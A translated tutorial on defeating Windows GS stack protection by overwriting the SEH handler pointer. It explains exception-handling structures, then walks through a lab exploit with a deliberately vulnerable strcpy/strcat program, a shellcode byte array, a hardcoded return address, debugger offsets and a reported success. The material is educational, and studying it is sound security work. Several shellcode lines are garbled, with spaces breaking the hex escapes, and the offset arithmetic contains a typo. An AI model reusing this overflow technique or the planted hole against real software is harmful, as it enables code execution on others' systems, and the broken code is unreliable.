Memory protection mechanism and bypass scheme - bypass/GS mechanism by overriding SEH exception handling function

Bypassing the GS protection mechanism via the SEH chain

⑴. Principle analysis: 

 i. The exception handling structure (SEH) processing flow is as follows:

 

 

SEH is thread-based, each thread has an independent SEH processing result, the first structure in the thread information block points to the thread's exception list, Fs:[0] always points to the TIB of the current thread, where 0 is biased Moved to the thread's exception list, that is, ExceptionList is a pointer to the exception handling list (EXCEPTION_REGISTRATION structure).

Thread information block definition:

typedef struct _NT_TIB {

     struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; //List of exceptions

 

     PVOID StackBase;

     PVOID StackLimit;

     PVOID SubSystemTib;

 

     union {

         PVOID FiberData;

         DWORD Version;

     };

 

     PVOID ArbitraryUserPointer;

     struct _NT_TIB *Self;

} NT_TIB;

 

EXCEPTION_REGISTRATION structure:

typedef struct _EXCEPTION_REGISTRATION_RECORD {

          //pointer to the previous EXCEPTION_REGISTRATION

     struct _EXCEPTION_REGISTRATION_RECORD *Prev;

     PEXCEPTION_ROUTINE Handler; //The address of the current exception handling callback function

} EXCEPTION_REGISTRATION_RECORD;

 

Exception handling function (PEXCEPTION_ROUTINE Handler in the EXCEPTION_REGISTRATION structure), prototype:

EXCEPTION_DISPOSITION __cdecl _except_handler(

     struct _EXCEPTION_RECORD *ExceptionRecord,//points to EXCEPTION_RECORD structure containing exception information

     void* EstablisherFrame,//point to the EXCEPTION_REGISTRATION structure related to the exception

     struct _CONTEXT *ContextRecord,//pointer to the thread context CONTEXT structure

     void* DispatcherContext){ //This field is meaningless for now

 

     ……

 

    //4 return values ​​and their meanings

    //1.ExceptionContinueExecution(0): The callback function handles the exception and can be re-executed from the instruction where the exception occurred.

    //2.ExceptionContinueSearch(1): The callback function cannot handle this exception and needs to be handled by other callback functions in the SEH chain.

    //3.ExceptionNestedException(2): A new exception occurred during the execution of the callback function, that is, a nested exception occurred

    //4.ExceptionCollidedUnwind(3): A nested unwind operation occurred

 

    return …

}

The structure of the EXCEPTION_RECORD parameter in the exception handler:

typedef struct _EXCEPTION_RECORD {

    DWORD ExceptionCode; //Exception code, starting with STATUS_ or EXCEPTION_, can be customized. (sehdef.inc)

    DWORD ExceptionFlags; //Exception flags. 0 Repairable; 1 Not Repairable; 2 Expanding, do not attempt to repair

    struct _EXCEPTION_RECORD *ExceptionRecord; //Point to the nested exception structure, usually an exception is thrown in the exception

    PVOID ExceptionAddress; //The address where the exception occurred

    DWORD NumberParameters; //Number of dwords contained in ExceptionInformation below

    ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; // Additional messages, such as read or write conflicts

} EXCEPTION_RECORD;

The structure of the CONTEXT parameter in the exception handler function:

typedef struct _CONTEXT {

     DWORD ContextFlags; //Used to indicate which fields in the structure are valid

     DWORD Dr0, Dr2, Dr3, Dr4, Dr5, Dr6, Dr7; //Debug registers

     FLOATING_SAVE_AREA FloatSave; //Floating point register area

     DWORD SegGs, SegFs, SegEs, Seg Ds; //Segment register

     DWORD Edi, Esi, Ebx, Edx, Ecx, Eax; //General register group

     DWORD Ebp, Eip, SegCs, EFlags, Esp, SegSs; //control register group

 

     //Extended registers, only available on specific processors

     BYTE    ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];

} CONTEXT;

Exception unfolding mechanism:

a . What is an expand operation

  ① When an exception occurs, the system traverses the linked list of EXCEPTION_REGISTRATION structures, from the head of the linked list, until it finds a handler that handles the exception. Once found, the system traverses the linked list again until the node that handles the exception (ie, returns the ExceptionContinueExecution node). In this second pass, the system will call each exception handler again. The key difference is that in the second call, the exception flag is set to 2. This value is defined as EH_UNWINDING

  ② Note that the expansion operation occurs when an exception occurs, and the exception callback function refuses to process it (ie, returns ExceptionContinueSearch ) . Here, the system will traverse from the head of the linked list (because of the nesting of exceptions, it can be understood as from the inner layer to the outer layer ), so each exception callback function will be called in sequence for the first time until it finds a node that agrees to be processed. Then, start from the head of the linked list again (that is, from the inside to the outside ) and call the nodes that did not handle the exception before until the node that agrees to handle the exception.

  ③ When an exception handler refuses to handle an exception, it actually has no right to decide where the flow will eventually resume. Only the exception handler that handles an exception can decide where the flow will eventually resume after all the exception handling code has executed . That is, when the exception has been handled, and all preceding exception frames have been unrolled, the flow continues from the point determined by the callback function that handled the exception.

  ④ After the unwinding operation is completed, the callback function that agrees to handle the exception must also be responsible for restoring Fs:[0] to the EXCEPTION_REGISTRATION that handles the exception, that is, the unwinding operation causes all the contents on the stack area below the frame where the exception is handled on the stack to be removed. Removed, this exception handling will become the first node of the SEH linked list.

b . Why stack unwinding

  ① The first reason is to inform the callback function that it will be unloaded , so that the unloaded callback function has a chance to clean up unreleased resources . Because when an exception occurs in a function, the execution flow usually does not exit normally from this function. So it can cause resources not to be released correctly (such as the object destructor of the C++ class is not called, etc.).

  ②The second reason is that if stack unwinding is not performed, an unknown error may occur. (See pages 132-134 of Software Encryption Insider).

c . How to unwind: RtlUnwind(lpLastStackFrame,lpCodelabel,lpExceptionRecord,dwRet);

  ①lpLastStackFrame: When this frame is traversed, it stops expanding the abnormal frame. When it is NULL, it means to expand all callback functions.

  ②lpCodeLabel: Point to the location returned by the function. If specified as NULL, the function returns in the normal way.

  ③lpExceptionRecord: Specify an EXCPETION_RECORD structure. This structure will be passed to each called callback function during the expansion operation. It is generally recommended to use NULL to allow the system to automatically generate an EXCEPTION_RECORD structure representing the expansion operation.

  ④dwRet is generally not used.

【Notice】:

  ①In the MySEH2 program, we did not call RtlUnwind in the __except{} of __try{} in the main function, because the compiler has already done it for us when generating __try{}/__except{}. Otherwise, if it is written by using the SEH of Windows itself, it should call RtlUnwind in the callback function that returns ExceptionContinueExecution to expand.

  ②RtlUnwind This function does not save registers such as esi, edi and ebx like other API functions. When the function returns, the values ​​of these registers may also be changed. If your program uses these registers, you need to save and restore them yourself.

Reference link:

http://www.cnblogs.com/5iedu/p/5205428.html

 

 

ii. In a program without safeSEH protection mechanism, the stack structure when the program runs is as follows:

 

 

                   Therefore, when the program overflows the buffer area and overwrites the address of the malicious code we need to execute to the pointer of the exception handling function, the malicious code can be executed when an exception occurs in the program.

                  

⑵. Environment preparation:

Test code:

#include <stdafx.h>

#include <string.h>

char shellcode[]=

"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"

"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"

"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"

"\ x49 \ x1C \ x8B \ x09 \ x8B \ x69 \ x08 \ xAD \ x3D \ x6A \ x0A \ x38 \ x1E \ x75 \ x05 \ x95"

"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"

"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"

"\ xC4 \ x74 \ x08 \ xC1 \ xCA \ x07 \ x03 \ xD0 \ x46 \ xEB \ xF1 \ x3B \ x54 \ x24 \ x1C \ x75"

"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"

"\ x2C \ xBB \ x95 \ x5F \ xAB \ x57 \ x61 \ x3D \ x6A \ x0A \ x38 \ x1E \ x75 \ xA9 \ x33 \ xDB"

"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"

"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\xA0\xFE\x12\x00"//address of shellcode

;

 

 

void test(char * input)

{

    

     char buf[200];

     strcpy(buf,input);

    strcat(buf,input);

}

 

void main()

{

     test(shellcode);  

}

test environment:

In order to avoid the influence of the safeSEH protection mechanism, use win 2000 and vs 2005 (win 2000 supports up to vs 2005).

 

⑶. Debug analysis:

i. Parameters on the stack:

 

Got: Parameter pointer: 0x0012ff78

ii. Function call (EIP, EBP, EBP^cookies, push, and open buffer):

 

get EIP : 0x0012ff74

EBP : 0x0012ff70

EBP^cookies : 0x0012ff6c

iii. View the exception handling chain (in the OD window):

 

View in stack:

 

The pointer address of the obtained exception handling function is 0x0012ffb4.

iv. The starting address of the parameter in the buffer (the starting address of the shellcode):

 

The starting address of the obtained parameter in the buffer is: 0x0012fea0.

⑷. Attack process:

i. Determine shellcode size:

From the analysis of the principle (1), we can see that our purpose is to replace the pointer of the exception handling function originally loaded by the program with the pointer of our malicious code.

Size of shellcode = address of the first exception handler - buffer start address (shellcode start address) + 4-byte address size (content of exception handler function pointer)

Size(shellcode) = 0x0012ffb4 - 0x00fea0 + 4 (address length is 4 bytes) = 280 bytes

 

ii. Design shellcode

 

From the previous analysis, the structure of the shellcode can be obtained as follows:

 

 

               

 iii. Attack result:

When the strcpy function finishes executing,

        

 Check stack:

                  

 The exception handler function pointer has been overwritten with the shellcode pointer.

Results of the:

success.

                   

Guess you like

Origin http://43.154.161.224:23101/article/api/json?id=325244641&siteId=291194637